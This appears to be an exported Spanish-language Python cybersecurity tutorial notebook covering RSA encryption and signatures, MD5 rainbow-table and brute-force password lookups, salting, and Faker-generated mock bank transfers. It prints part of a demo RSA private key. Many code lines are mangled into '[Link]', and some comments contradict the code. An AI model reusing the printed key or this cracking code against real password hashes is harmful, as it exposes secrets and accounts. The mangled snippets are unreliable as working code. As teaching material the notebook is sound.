F8Eu5APSLLE8AkWDbrB4c8TyW5IrpKXdYi91ccIdPhz4+Hi2fZgfyL3H/fTdkh49
tcMKe5m7pVIMbRt4YAEjBePogF7fAXIBjPdWnDwXq8yC8NhK4pNbnJnh6aA2dYak
vizH9pdgIKb4K0Zk1+pcRMPz+ytMOOQWl4obVgPdPObsLXTOEroOKhDrdRsIJDz0
HjghaAECgYEA3DZ/Qdu65FwPK9Scs/vBs6p3X46r0iCkB+u0SX9bXkD5zDH/R/oT
6Qy5V0foAbk2ywA94zEiJoNP37ngQ25dduqxpsc4gTtRDfKqAAliI3QlxAi/iyRY
uDCechiW0QeeDAWloZl8+6lY0Ze63PrMc6j52Qn+tbgKNrFZUf5oXwsCgYEA/sJU
kJTFdERkXoA1lmNa3KpX3BdxkH0J5pe2TCbU/y0aIzft2lRrnlerXIJhw2bOEh0P
4fH70Fsl5khhVuARBvxT8qgv475Kw8Q8pthpLd5vypINptCHoiIQxpZhmqpcHu5s
Md7/Q5Z5MtXvn7tCqdmV4d+bcLs5gRveq0NCXIECgYBTfTnsLzGBSMHbvUUYG9gJ
lRSjHwVXqlZmRl/ZCbcLWhka6M2/bTnFPrS6OaHlnWH/vvy3uTYYYeqTiPZUunAn
GL333Eo4/NMzNZBsaSJTDMMQurxcNZCJbK111oq/f2LVbgKo7PdstnzdIeiPxWpk
Y2kud1KhdMAykjSqGIlblwKBgQCHACHh8ARmpWturJA5HnNi5h3i8sVqZOhfOtwO
pLFQe+0S5qtzfDL/WMPlJO57prni3WWyPRJNClAeJRL3/4rmYcZ2m2utSwTBkvb1
D09FUE97UERNtsl5QIYVRlF4rXhdp8jL8LjibxXQu4/c3FXqPfRwGpd7eKtzYHpx
1RWQgQKBgBrZRPDeU6Z3cLjGZ0fn1+o75PtRu7bghVC4J0FPoYZv+8Lr7nMQq/Iy
TW8s5WQBCkJb7VqGKTZEHXFKILoa023wmuDMvhIZ2aZw58UBzpzn9GYO38iyxfga
ApD12OQzFOz6KsgY28vp1N/XXipUzL+V88GdADd3DTcPQJMhek21
-----END RSA PRIVATE KEY-----

>CLAVE PÚBLICA:

-----BEGIN PUBLIC KEY-----


MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2yU8TghOft7YEADVUMTx
RoYA0zvyZ24iRgzxSjNRPkd3GkvxI4jEHA11lV3Q+9bl4dK3MGO6jT1lTATPRBiO
kc285bkb03EYldZP/qSIprOqqCSZsyPOUAlTOsFzy9HYNxdKCXmf11QAPgjGnSX7
cFYor+ngnyX22antOZdraJU15yTuL891bnGHDspSLmZLJ/Vs3+WzPBF2AFDejv/K
j8ZpiabQ6L6MB4b4xvIc2SD2Mxx7ZJYIfkvZY3niQIZQWMyMtmdy/MeS2c4al5F3
DiGWOUkhOCfr9NSpfSNV7cCeNZvnXSpHA6keAKEzsFwuOT/Zb/fmUKPLfGfgFpXY
iwIDAQAB
-----END PUBLIC KEY-----

Si quieres, puedes guardarlas en archivos:

In [491]:

168
with open("private_key.pem", "wb") as f:
[Link](private_key_pem)

with open("public_key.pem", "wb") as f:


[Link](public_key_pem)

Cifrar con la clave pública y descifrar con la privada

Un escenario típico es que alguien te quiera mandar algo secreto, entonces usa tu clave pública para cifrar. y
después, solo tú, con tu clave privada, lo puedes descifrar con tu clave privada.

In [492]:
from [Link] import RSA
from [Link] import PKCS1_OAEP

# cargar claves desde los .pem generadas antes


with open("public_key.pem", "rb") as f:
public_key = RSA.import_key([Link]())

with open("private_key.pem", "rb") as f:


private_key = RSA.import_key([Link]())

Ahora, ciframos y desciframos con el par de llaves:

In [493]:
# aquí el mensaje que queremos proteger
mensaje = "starhacks ultra secreto, solo para tus ojos. no le cuentes a tu gato"

# --- > ciframos con la clave pública < ---


cipher_public = PKCS1_OAEP.new(public_key)
ciphertext = cipher_public.encrypt([Link]('utf-8'))

print(" > Ciphertext (hex):")


print([Link]())

# --- > desciframos con la clave privada < ---


cipher_private = PKCS1_OAEP.new(private_key)
mensaje_descifrado = cipher_private.decrypt(ciphertext)

print("\n >Mensaje descifrado:")


print(mensaje_descifrado.decode('utf-8'))

> Ciphertext (hex):


7a0e57a77c4e3151428aa8aca576bdf155ed40979acd8d3fd129f69b55152d2b1db60f5034dfc0c766e9771
c3b030db2d4000cc45d25125dd82d5af012018be6e777a8200d8f8b8ace3ac807d745e16e60e3220b5d029b
0d66b8078e7377a6f6ea8359ebf83c9face6119f02484dd9e19fcdd3f823f8d276470f545d802c2076fc30f
c7e939cf2ad96c12ccfae78f57536e7cc34d083f442535e5875e7c33e52efe1b6933d44e47d9dde1988fae2
f61cd6d1eb549fd9d1d9a03c9110a5d36e4b6c47a47e35e2b9dbc5732e605096646c617439ec8e575cedb72
4bf2357a38db3587189580cf877b028e87ce360e48abab6e6fb796fd3de204cc0016b2674c55c

169
>Mensaje descifrado:
starhacks ultra secreto, solo para tus ojos. no le cuentes a tu gato

Firmar un mensaje con la clave privada y verificar con la pública

Esto es lo otro bacán del cifrado asimétrico. Las firmas digitales. con este algoritmo puedes firmar con tu
clave privada como diciendo, ojo... esto lo mandé yo. y cualquiera con tu clave pública puede verificar que no
se ha modificado y que realmente lo mandaste tú.

In [494]:
from [Link] import RSA
from [Link] import pkcs1_15
from [Link] import SHA256

# cargar claves -> las mismas de antes


with open("private_key.pem", "rb") as f:
private_key = RSA.import_key([Link]())

with open("public_key.pem", "rb") as f:


public_key = RSA.import_key([Link]())

mensaje = b"Transferir 10.000 lucas al usuario SEBA"

Ahora firmamos el mensaje con la clave privada:

In [495]:
h = [Link](mensaje) # creamos un hash del mensaje
signature = pkcs1_15.new(private_key).sign(h) # firmamos el hash con la clave privada

print(" > Firma (hex, recortada):", [Link]()[:80], "...")

> Firma (hex, recortada):


a2da726b93cf81a86a655d1b2f1f9b48502b6a9398f1ec84e0378d7f437834887bcaabcdca70927b ...

Verificamos la firma con la clave pública:

In [496]:
try:
pkcs1_15.new(public_key).verify(h, signature)
print("\n [>] La firma es válida. El mensaje viene del dueño de la clave privada.")
except (ValueError, TypeError):
print("\n [x] Firma inválida. Mensaje alterado o clave incorrecta.")

[>] La firma es válida. El mensaje viene del dueño de la clave privada.

Probamos a cambiar el mensaje (ataque):

In [497]:

170
mensaje_modificado = b"Transferir 1.000.000 de pesos al usuario SEBA"
h_mod = [Link](mensaje_modificado)

try:
pkcs1_15.new(public_key).verify(h_mod, signature)
print("[>] [Esto no debería pasar / firma valida con mensaje cambiado]")
except (ValueError, TypeError):
print(" [x] Detección OK - el mensaje modificado NO pasa la verificación de
integridad....")

[x] Detección OK - el mensaje modificado NO pasa la verificación de integridad....

Las Rainbow Tables


Las rainbow tables son básicamente listas gigantes de hashes ya calculados, hechas para adivinar
contraseñas rápidas.

Lo que hace un atacante, es tener una base de datos enorme donde ya tiene:

password -> hash seba123 -> 93be0f3c1... hola123 -> f928103ac... 123456 -> e10adc394...

Entonces si encuentra un hash en algún lado (por ejemplo una base de datos filtrada), solo busca en su tabla
y listo, obtiene la contraseña sin calcular nada.

In [498]:
import hashlib

diccionario = ["seba", "admin", "hola", "1234", "seba123", "flo123"] # palabras que


vamos a pre-hashear

rainbow = {}

# creamos la tabla (password : hash)


for pwd in diccionario:
h = hashlib.md5([Link]()).hexdigest()
rainbow[h] = pwd

print("> Tabla Rainbow (simulada):")


for h, pwd in [Link]():
print(h, ":", pwd)

> Tabla Rainbow (simulada):


1165b05ff34126296e4c3aab150ffdcb : seba
21232f297a57a5a743894a0e4a801fc3 : admin
4d186321c1a7f0f354b297e8914ab240 : hola
81dc9bdb52d04dc20036dbd8313ed055 : 1234
d494f3650319d882495067a92b217ff9 : seba123
f532a397fe7671763732bc4f6c14fed7 : flo123

171
Buscar una contraseña con un hash conocido

In [499]:
hash_filtrado = hashlib.md5("seba123".encode()).hexdigest()

if hash_filtrado in rainbow:
print("[ok] Password encontrado:", rainbow[hash_filtrado])
else:
print("[x ]No esta en la tabla")

[ok] Password encontrado: seba123

Fuerza Bruta vs Rainbow


La diferencia es más o menos así…

La fuerza bruta es el ataque bruto… literal. El sistema prueba todas las contraseñas posibles una por una…
hasta que alguna calza. Es como ir metiendo llaves al azar en una cerradura… paciencia infinita, pero
funciona.

Las rainbow tables, en cambio, son más rápidas porque el atacante ya tiene los hashes calculados de antes.
Entonces, cuando obtiene un hash robado… no adivina nada… solo lo busca en su tabla y listo. Es como
tener una guía telefónica de contraseñas, pero en esteroides.

Y para que se entienda mejor…

Fuerza bruta es como cuando Tom decide destruir un sillón a punta de arañazos… uno tras otro… sin
parar… hasta que consigue el agujero perfecto. Método lento… pero oye, el compadre es consistente.

Rainbow tables sería más como si Tom tuviera un mapa del sillón con puntos perfectos para rasgar listados
de antemano… solo mira, elige uno… y zas. Mucho más rápido… y honestamente, más preocupante.

Menos mal que estamos en Jupyter haciendo ejercicios… y Tom tiene las uñas cortadas… porque si no, este
notebook ya tendría más puertos abiertos que un servidor mal configurado.

Mejor vamos al ejemplo…

In [504]:
import hashlib

objetivo = hashlib.md5("flo123".encode()).hexdigest()

diccionario_test = ["a", "b", "c", "flo", "flo12", "flo123"]

172
for palabra in diccionario_test:
if hashlib.md5([Link]()).hexdigest() == objetivo:
print("[> ]Encontrado por fuerza bruta: ", palabra)
break

[> ]Encontrado por fuerza bruta: flo123

In [505]:
print("[> ] Rainbow:", rainbow[objetivo])

[> ] Rainbow: flo123

Por qué un salt rompe una rainbow table. En el próximo ejemplo verás que los mismos datos pueden crear
dos hashes completamente distintos. Con eso las rainbow tables quedan inútiles.

In [506]:
import hashlib
import os

password = "seba123"

# dos salts distintos


salt1 = [Link](8)
salt2 = [Link](8)

hash1 = hashlib.sha256(salt1 + [Link]()).hexdigest()


hash2 = hashlib.sha256(salt2 + [Link]()).hexdigest()

print(">Hash con salt 1:", hash1)


print(">Hash con salt 2:", hash2)

>Hash con salt 1: c66d22a05c40502abac981dc3a64ab7a8881e1496cc898db813694cf4c05f980


>Hash con salt 2: fde127071d517741b289fa3580c5d2859fca93ede39050b9c7c40af4447fb550

En corto:

●​ Fuerza bruta : prueba y error en vivo.


●​ Rainbow tables : búsqueda offline usando tablas gigantes que se prepararon antes.

Faker
Faker es una librería de Python que se dedica a inventar datos creíbles , por ejemplo; nombres, correos,
direcciones, IPs, usuarios, etc.

En ciberseguridad es súper útil para:

●​ llenar un honeypot con usuarios y contraseñas de mentira


●​ crear logs falsos para probar detecciones

173
●​ armar datasets para entrenar detecciones sin tocar datos reales

Para instalar:

In [114]:
!pip install faker

Collecting faker
Downloading [Link] (16 kB)
Requirement already satisfied: tzdata in c:\users\starh\anaconda3\lib\site-packages
(from faker) (2025.2)
Downloading [Link] (2.0 MB)
---------------------------------------- 0.0/2.0 MB ? eta -:--:--
---------------------------------------- 2.0/2.0 MB 23.6 MB/s eta 0:00:00
Installing collected packages: faker
Successfully installed faker-38.2.0

Forma simple de usarlo:

In [115]:
from faker import Faker

fake = Faker() # generador base

print([Link]())
print([Link]())
print(fake.ipv4_public())

Olivia Ross
kathleen93@[Link]
[Link]

Ahora, lo que haremos es básicamente montar un banco falso, pero creíble. No usaremos ningún dato real y
Faker hace toda la magia para inventar nombres, fechas, cuentas, montos y hasta descripciones. Es perfecto
para probar análisis de fraude, flujos de detección o simplemente para entrenar lógica sin comprometer nada
real.

In [124]:
import random
from faker import Faker
import pandas as pd
from datetime import datetime

fake = Faker()

Ahora, lo que haremos es básicamente crear una función para generar un RUT simulado

In [125]:
def generate_rut():

174
num = [Link](1000000, 25000000) # rango de números posibles para el RUT
dv = [Link]('0123456789K') # digito verificador q puede ser un número o K
return f"{num}-{dv}"

Acá armamos una transacción bancaria completa y lo bueno es que cubres todo; nombre, apellidos, cuentas,
montos, fechas, método de pago… Incluso si falló o quedó pendiente. Esto te permite simular, depósitos ,
transferencias, pagos , retiros , cuentas entrantes y salientes, status (Completed, Pending, Failed). Sin tocar
nada real.

In [126]:
def generate_mock_transaction():
transaction = {
"Transaction ID": fake.uuid4(), # ID único de transacción
"Name": fake.first_name(), # nombre
"RUT": generate_rut(), # RUT chileno simulado
"Paternal Last Name": fake.last_name(), # Apellido paterno
"Maternal Last Name": fake.last_name(), # Apellido materno
"Account Number": [Link](), # número de cuenta bancaria (IBAN)
"Transaction DateTime": fake.date_time_this_year(), # Fecha y hora de la
transacción
"Transaction Type": [Link](["Deposit", "Withdrawal", "Transfer",
"Payment"]), # tipo de transacción
"Transaction Amount": round([Link](10, 10000), 2), # monto de la
transacción
"Currency": "CLP", # moneda de la transacción [Link](["USD", "EUR",
"GBP", "JPY"])
"Balance After Transaction": round([Link](1000, 50000), 2), # saldo
despues de la transacción
"Sender Account Number": [Link]() if [Link]([True, False]) else
None, # número de cuenta del remitente
"Receiver Account Number": [Link]() if [Link]([True, False]) else
None, # número de cuenta del receptor
"Transaction Status": [Link](["Completed", "Pending", "Failed"]), #
estado de la transacción
"Payment Method": [Link](["Credit Card", "Debit Card", "Bank Transfer",
"Cash"]), # método de pago
"Transaction Description": [Link](), # descripción o nota de la
transacción
}

return transaction

Función para generar una lista de transacciones falsas, por defecto tiene 10 transacciones.

In [127]:
def generate_mock_transactions(num=10):
transactions = [generate_mock_transaction() for _ in range(num)]
return transactions

175
Aquí armamos un dataset de lo grande que tu quieras, en este ejemplo lo seteamos en 1000 y ya podemos
probar el dataset para análisis, gráficos, patrones, correlaciones, etc.

In [128]:
mock_data = generate_mock_transactions(1000) # por ejemplo, generar 100 transacciones
df = [Link](mock_data)

# mostrar las primeras filas del DataFrame


print([Link]())

Transaction ID Name RUT \


0 4234eee0-9f97-4480-9948-4ea7a21d4465 Pamela 9331797-8
1 2f0d88ec-b718-4b36-a101-ceab4e012871 Ashley 3654967-6
2 7a12be44-afca-417e-8cd9-779f1199f0dd Tony 16074189-5
3 09f08da9-9930-45af-b312-bcd0f317173f Melissa 1195605-1
4 52f66d7c-d15f-499c-b9e9-fc3049a6e5b2 Holly 10596252-1

Paternal Last Name Maternal Last Name Account Number \


0 Harris Reyes GB83ZRAA74916903379988
1 Reyes Davis GB76LAXJ32101827641528
2 Colon Smith GB43AMNK52098981449479
3 Robinson Maynard GB78NLSR88525481467479
4 Montoya Herrera GB73GFWZ60271584364423

Transaction DateTime Transaction Type Transaction Amount Currency \


0 2025-03-26 16:31:51 Payment 4167.80 CLP
1 2025-09-04 04:37:34 Withdrawal 9107.77 CLP
2 2025-06-19 00:45:11 Transfer 9087.45 CLP
3 2025-07-27 18:49:50 Withdrawal 2846.55 CLP
4 2025-04-08 02:32:36 Transfer 8587.60 CLP

Balance After Transaction Sender Account Number Receiver Account Number \


0 29547.69 GB12ADOE09663726519392 GB37FWOG41845023037541
1 10871.68 None GB38ITBJ03576621305203
2 21078.83 None GB42NSSM02322558910967
3 29654.15 None GB60ILHI58237355207474
4 28913.06 None GB56CPIC88850925689878

Transaction Status Payment Method \


0 Completed Bank Transfer
1 Completed Credit Card
2 Completed Credit Card
3 Completed Credit Card
4 Pending Credit Card

Transaction Description
0 Say natural hot seven.
1 Teach present long much.
2 Focus tend thus Democrat.
3 Development draw good.
4 Store second order where receive camera daughter.

176
Ejemplo código de transferencias simuladas
Lo que vamos a hacer acá es bien práctico, primero armaremos un dataset falso de transacciones bancarias
y ahora vamos a simular transferencias reales entre cuentas que ya existen dentro de ese dataset creado
anteriormente. Es como decir.... ok, ya tengo un mini-banco inventado… ahora hagamos que estas cuentas
se manden plata entre ellas.

Partiremos con un DataFrame lleno de transacciones falsas 500 y usaremos 5 número cuentas aleatorias

In [135]:
import random
import pandas as pd

mock_data = generate_mock_transactions(500) # Genera 500 transacciones simuladas


df = [Link](mock_data)

# seleccionamos 5 números de cuenta aleatorias del DataFrame - Account Number


sample_accounts = df["Account Number"].sample(200, replace=False).tolist()

In [136]:
def simulate_transfers(df, sample_accounts, num_transfers=5):
transfers = []

for _ in range(num_transfers):
# elegimos un remitente y un receptor de forma aleatoria [diferentes entre
sí]
sender = [Link](sample_accounts)
receiver = [Link]([acc for acc in sample_accounts if acc != sender])

# creamos una transacción de transferencia simulada


transfer = {
"Transaction ID": fake.uuid4(), # Nuevo ID único de transacción
"Name": fake.first_name(), # nombre del remitente (solo para mostrar)
"RUT": generate_rut(), # RUT simulado del remitente
"Paternal Last Name": fake.last_name(), # apellido paterno
"Maternal Last Name": fake.last_name(), # apellido materno
"Account Number": sender, # número de cuenta del remitente
"Transaction DateTime": fake.date_time_this_year(), # fecha y hora de la
transacción
"Transaction Type": "Transfer", # tipo de transacción --- > Transferencia
"Transaction Amount": round([Link](10, 1000), 2), # monto de la
transferencia
"Currency": "CLP", # moneda de la transferencia
"Balance After Transaction": round([Link](1000, 50000), 2), #
saldo del remitente después de la transaccion
"Sender Account Number": sender, # número de cuenta del remitente
"Receiver Account Number": receiver, # número de cuenta del receptor
"Transaction Status": "Completed", # estado de la transacción
"Payment Method": "Bank Transfer", # método de pago ---> Transferencia
bancaria

177
"Transaction Description": f"Transfer from {sender} to {receiver}", #
descripción de la transacción
}

[Link](transfer) # se guarda aquí cada transacción

# Convertimos las transferencias simuladas en un DataFrame para trabajar después


en ellas
transfers_df = [Link](transfers)
return transfers_df

# simulamos 30 transferencias entre los usuarios seleccionados


transfers_df = simulate_transfers(df, sample_accounts, num_transfers=30)

# mostramos las transferencias simuladas


print(transfers_df)

Transaction ID Name RUT \


0 aff884ad-200c-428d-a7cc-14af3ebbb021 Jennifer 5556969-7
1 19656476-dd56-4f5a-9f6d-f1fc184e4417 Karen 5949400-0
2 1787a3b8-dc3b-4ecb-a55a-cf98bc3dc447 Kelly 4991741-5
3 bc1f6ad9-fa05-4126-9d87-c5e0c52a8f1f Kevin 7745524-8
4 4d362743-1d10-414f-903c-d766e4d0b6ad Andrew 1056354-1
5 2b134beb-81b8-4a85-9512-d82679e1326f Juan 4593095-4
6 d3d469ff-e3bd-4b3b-b95d-8d9f6ff9f621 Erica 6684685-8
7 8d5ffabb-7253-4d8e-8607-6ed94901fc71 Jessica 2109858-6
8 d1e18ff5-fb64-486f-96ca-c21be9060e1e Alexis 7532544-7
9 ae8332f2-5594-4eb2-a591-5ca4e4f116cb Melissa 18106520-8
10 b2f6cb71-0129-43da-a05a-367f1c224fd0 Andrew 16011865-5
11 9dd37d12-372c-4f4c-9d22-b46401d56663 Andrew 8731654-8
12 8a7780f9-caf3-4f60-84bf-28bf0b53d2f1 Ashlee 8134641-8
13 c5a90dc3-72fe-41a3-b533-e7e802e4dda1 Christopher 21092983-4
14 9da92ef8-25eb-42a0-ad05-891e4d1ab311 Kelly 2943895-9
15 101e4fee-f4d1-412e-90bd-e36620802b8e Heather 2453937-0
16 18bd9d52-47c0-459e-877f-c4f3d62a4947 Amy 16932368-8
17 0f265cc3-57ac-41a3-9c61-03557b157713 Ashley 24916714-K
18 0f7fcdfe-d0a6-455d-a553-62422ae01ff2 Robert 7360393-7
19 2181ab28-758c-4b6e-a4f5-6391952a6bf4 Willie 12017379-5
20 3caf3790-2f50-4520-a522-b145d0ada470 Kim 1008361-5
21 0e78d2fa-66a9-4c79-9759-1271549f43dd Jennifer 17376264-7
22 0b55b3aa-a094-4c4d-aef0-9c014c953971 Matthew 15836568-9
23 d049b794-12e0-4d50-a697-ff22358a164a Julia 9019030-2
24 8df9f309-0bf2-43c5-9cd1-ae1346a5904c Christopher 3214901-9
25 1d83d101-b279-4866-a60d-3196bf7a92f1 Maria 22971837-8
26 771b025c-0ef5-4b13-b84d-5091d0aee41a Cynthia 2865869-0
27 e2ebbda8-d204-4d48-8f4d-f77d1b48d9f5 Richard 10434019-5
28 15b65b5f-4747-4b11-a390-1ae79d83fb96 Thomas 1139032-5
29 2ea09b33-00cd-4097-8650-f5974a28cfaf Joseph 18210518-4

Paternal Last Name Maternal Last Name Account Number \


0 Perez Myers GB37IMLO02586938506115
1 Pennington Bryant GB19RQCV51779875115831
2 Rodriguez Estrada GB42OLKI47143047350962

178
3 Patterson Garrison GB75SUFS07184252116855
4 Foster Rich GB63JQCY16528764676989
5 Alvarado Castillo GB66OENP38667880022261
6 Rice Oliver GB44XGQK21770584261302
7 Hill Macdonald GB97DTCD09994259180520
8 Rogers Carter GB72AEOY88485660874806
9 Gray Jefferson GB31TEPJ61467741485598
10 Robinson Wiggins GB58BQLS42024040450131
11 Cook Blackburn GB37IMLO02586938506115
12 Ortiz Richmond GB37IMLO02586938506115
13 Gomez Thompson GB58DTRR02725559543338
14 Tate Harmon GB31UIJK55142514522173
15 Davis Barnes GB88JONE75636626730459
16 Fields Reed GB32BZRV93858106682456
17 Lopez Wright GB58NCWE50510700911487
18 Carlson Miller GB84EFGY89393135529275
19 Odonnell Medina GB13MUBV30956910235906
20 Olson Perez GB44XGQK21770584261302
21 Mejia Wilkins GB12UFFX73091731227286
22 Patton Green GB52RUGV59954989077754
23 Copeland Long GB68JZSB04635848726600
24 Baird Johnson GB75XWKZ62632740379644
25 Taylor Dominguez GB42OLKI47143047350962
26 Miller Adams GB38RGDV63444437247379
27 Hernandez Walker GB77ATGP53758155946902
28 Barnett Crosby GB60WMTC11993768518692
29 Clark Johnson GB15ZIWU13649903167259

Transaction DateTime Transaction Type Transaction Amount Currency \


0 2025-01-09 08:26:17 Transfer 442.32 CLP
1 2025-03-28 19:46:09 Transfer 922.43 CLP
2 2025-02-10 22:55:17 Transfer 812.18 CLP
3 2025-11-11 18:32:49 Transfer 914.26 CLP
4 2025-05-18 21:43:13 Transfer 961.90 CLP
5 2025-06-22 18:04:09 Transfer 559.94 CLP
6 2025-06-10 20:09:51 Transfer 907.25 CLP
7 2025-03-12 05:25:08 Transfer 315.38 CLP
8 2025-07-13 05:07:21 Transfer 302.07 CLP
9 2025-03-17 05:11:05 Transfer 924.03 CLP
10 2025-01-21 09:25:36 Transfer 45.12 CLP
11 2025-01-09 13:55:40 Transfer 197.53 CLP
12 2025-09-22 10:09:20 Transfer 250.83 CLP
13 2025-06-12 06:28:50 Transfer 43.28 CLP
14 2025-10-11 05:06:52 Transfer 90.95 CLP
15 2025-10-25 18:03:36 Transfer 37.58 CLP
16 2025-07-12 12:36:11 Transfer 33.63 CLP
17 2025-06-21 18:29:22 Transfer 44.43 CLP
18 2025-08-29 07:00:25 Transfer 275.44 CLP
19 2025-09-03 14:34:52 Transfer 667.03 CLP
20 2025-08-16 13:42:26 Transfer 412.00 CLP
21 2025-11-19 12:36:36 Transfer 251.27 CLP
22 2025-10-14 05:34:59 Transfer 797.52 CLP
23 2025-10-01 01:47:07 Transfer 105.22 CLP

179
24 2025-10-06 21:47:16 Transfer 445.36 CLP
25 2025-06-29 10:32:05 Transfer 105.87 CLP
26 2025-08-31 13:04:44 Transfer 358.23 CLP
27 2025-11-21 21:42:56 Transfer 91.76 CLP
28 2025-10-06 18:12:46 Transfer 246.05 CLP
29 2025-06-03 19:38:17 Transfer 141.96 CLP

Balance After Transaction Sender Account Number Receiver Account Number \


0 42498.72 GB37IMLO02586938506115 GB82YTPA36028569593420
1 2260.49 GB19RQCV51779875115831 GB56RYFH52112467022553
2 38096.97 GB42OLKI47143047350962 GB91FOCZ01768783316190
3 29911.98 GB75SUFS07184252116855 GB41KDOO33460480487080
4 45018.04 GB63JQCY16528764676989 GB59DXRO76960751181899
5 3750.05 GB66OENP38667880022261 GB28NMHP41841752025694
6 27563.44 GB44XGQK21770584261302 GB15VAUU21400870466113
7 16303.05 GB97DTCD09994259180520 GB07UJQI76521001261561
8 25000.49 GB72AEOY88485660874806 GB86AFLP51822213514227
9 40532.83 GB31TEPJ61467741485598 GB39KRAP12993800215466
10 40001.15 GB58BQLS42024040450131 GB86AFLP51822213514227
11 44931.52 GB37IMLO02586938506115 GB22UQFY14093964542765
12 14485.29 GB37IMLO02586938506115 GB82JGTY92249551519043
13 49028.06 GB58DTRR02725559543338 GB97HUFF07636022040990
14 23211.74 GB31UIJK55142514522173 GB24YTJK91955893824345
15 9820.61 GB88JONE75636626730459 GB52JRTE81293013734422
16 4132.91 GB32BZRV93858106682456 GB18SMYG64798516155000
17 39608.79 GB58NCWE50510700911487 GB45PYYV29419185012610
18 22691.19 GB84EFGY89393135529275 GB56UTBA89069914607297
19 31032.28 GB13MUBV30956910235906 GB60WMTC11993768518692
20 36955.92 GB44XGQK21770584261302 GB16OQKM32145184661260
21 24853.99 GB12UFFX73091731227286 GB14HTMW03423804188683
22 3109.53 GB52RUGV59954989077754 GB89SUVX66525082772364
23 46563.73 GB68JZSB04635848726600 GB23EUGP19114683753133
24 3206.51 GB75XWKZ62632740379644 GB72AEOY88485660874806
25 47473.58 GB42OLKI47143047350962 GB22NHNI21303895248578
26 47236.64 GB38RGDV63444437247379 GB53OYBA54677422860114
27 33639.61 GB77ATGP53758155946902 GB82NUAT54969879683840
28 39385.94 GB60WMTC11993768518692 GB86SSCC89039829150456
29 38676.72 GB15ZIWU13649903167259 GB76ORCJ26925802268058

Transaction Status Payment Method \


0 Completed Bank Transfer
1 Completed Bank Transfer
2 Completed Bank Transfer
3 Completed Bank Transfer
4 Completed Bank Transfer
5 Completed Bank Transfer
6 Completed Bank Transfer
7 Completed Bank Transfer
8 Completed Bank Transfer
9 Completed Bank Transfer
10 Completed Bank Transfer
11 Completed Bank Transfer
12 Completed Bank Transfer

180
13 Completed Bank Transfer
14 Completed Bank Transfer
15 Completed Bank Transfer
16 Completed Bank Transfer
17 Completed Bank Transfer
18 Completed Bank Transfer
19 Completed Bank Transfer
20 Completed Bank Transfer
21 Completed Bank Transfer
22 Completed Bank Transfer
23 Completed Bank Transfer
24 Completed Bank Transfer
25 Completed Bank Transfer
26 Completed Bank Transfer
27 Completed Bank Transfer
28 Completed Bank Transfer
29 Completed Bank Transfer

Transaction Description
0 Transfer from GB37IMLO02586938506115 to GB82YT...
1 Transfer from GB19RQCV51779875115831 to GB56RY...
2 Transfer from GB42OLKI47143047350962 to GB91FO...
3 Transfer from GB75SUFS07184252116855 to GB41KD...
4 Transfer from GB63JQCY16528764676989 to GB59DX...
5 Transfer from GB66OENP38667880022261 to GB28NM...
6 Transfer from GB44XGQK21770584261302 to GB15VA...
7 Transfer from GB97DTCD09994259180520 to GB07UJ...
8 Transfer from GB72AEOY88485660874806 to GB86AF...
9 Transfer from GB31TEPJ61467741485598 to GB39KR...
10 Transfer from GB58BQLS42024040450131 to GB86AF...
11 Transfer from GB37IMLO02586938506115 to GB22UQ...
12 Transfer from GB37IMLO02586938506115 to GB82JG...
13 Transfer from GB58DTRR02725559543338 to GB97HU...
14 Transfer from GB31UIJK55142514522173 to GB24YT...
15 Transfer from GB88JONE75636626730459 to GB52JR...
16 Transfer from GB32BZRV93858106682456 to GB18SM...
17 Transfer from GB58NCWE50510700911487 to GB45PY...
18 Transfer from GB84EFGY89393135529275 to GB56UT...
19 Transfer from GB13MUBV30956910235906 to GB60WM...
20 Transfer from GB44XGQK21770584261302 to GB16OQ...
21 Transfer from GB12UFFX73091731227286 to GB14HT...
22 Transfer from GB52RUGV59954989077754 to GB89SU...
23 Transfer from GB68JZSB04635848726600 to GB23EU...
24 Transfer from GB75XWKZ62632740379644 to GB72AE...
25 Transfer from GB42OLKI47143047350962 to GB22NH...
26 Transfer from GB38RGDV63444437247379 to GB53OY...
27 Transfer from GB77ATGP53758155946902 to GB82NU...
28 Transfer from GB60WMTC11993768518692 to GB86SS...
29 Transfer from GB15ZIWU13649903167259 to GB76OR...

El siguiente script complementa lo anterior de forma visual, lo que lograremos con este código es
básicamente convertir un Dataframe bancario inventado, en un mapa visual de quién le transfiere a quién,

181
pero con nombre y apellido. Es como mirar el flujo de plata entre personas, pero sin datos reales... Esto es
exactamente lo que hacen los sistemas de monitoreo cuando buscan redes de fraude, cajeros con
movimientos raros, triangulaciones… pero acá está explicado y hecho de manera súper simple.

In [138]:
import networkx as nx
import [Link] as plt

# aquí creamos esta función para graficar las conexiones de transferencias con
nombres
def plot_transfer_network_with_names(transfers_df, df):

G = [Link]() # creamos un gráfico tipo nodos

# creamos un diccionario para mapear las cuentas a nombres completos


account_to_name = {row["Account Number"]: f"{row['Name']} {row['Paternal Last
Name']}" for _, row in [Link]()}

# agregamos nodos y aristas para cada transferencia origen ---> destino


for _, row in transfers_df.iterrows():
sender_account = row["Sender Account Number"]
receiver_account = row["Receiver Account Number"]
amount = row["Transaction Amount"]

# obtenemos los nombres asociados a las cuentas


sender_name = account_to_name.get(sender_account, "Unknown Sender")
receiver_name = account_to_name.get(receiver_account, "Unknown Receiver")

# identificamos los nodos con el nombre + cuenta


sender_label = f"{sender_name} ({sender_account[-4:]})"
receiver_label = f"{receiver_name} ({receiver_account[-4:]})"

# agregamos arista de sender a receiver con el monto transferido ya al


gráfico
G.add_edge(sender_label, receiver_label, weight=amount, label=f"${amount}")

# ajustamos el tamaño del gráfico


[Link](figsize=(15, 10)) # Aumentar el tamaño del gráfico si se desea

# posiciones para los nodos en el gráfico


pos = nx.spring_layout(G, k=0.5, iterations=50) # ajustar el valor de k para
separar los nodos

# dibujar los nodos, sus etiquetas con su tamaño , tipo de letra y color
[Link](G, pos, with_labels=True, node_color='lightgreen', node_size=3000,
font_size=8, font_weight='bold', edge_color='gray')

# dibujamos etiquetas en las aristas [el monto de la transferencia]


edge_labels = nx.get_edge_attributes(G, 'label')
nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels)

# Mostrar la gráfica

182
[Link]("[ < ] Transfer Network [ > ] ")
[Link]()

# simulamos 50 transferencias entre los usuarios seleccionados del dataframe


transfers_df = simulate_transfers(df, sample_accounts, num_transfers=50)

# graficamos las conexiones de transferencias con los nombres


plot_transfer_network_with_names(transfers_df, df)

Generar usuarios y contraseñas falsas para un honeypot o


diccionario
Con el primer ejercicio, generamos una lista de usuarios y passwords que parezcan humanos, pero
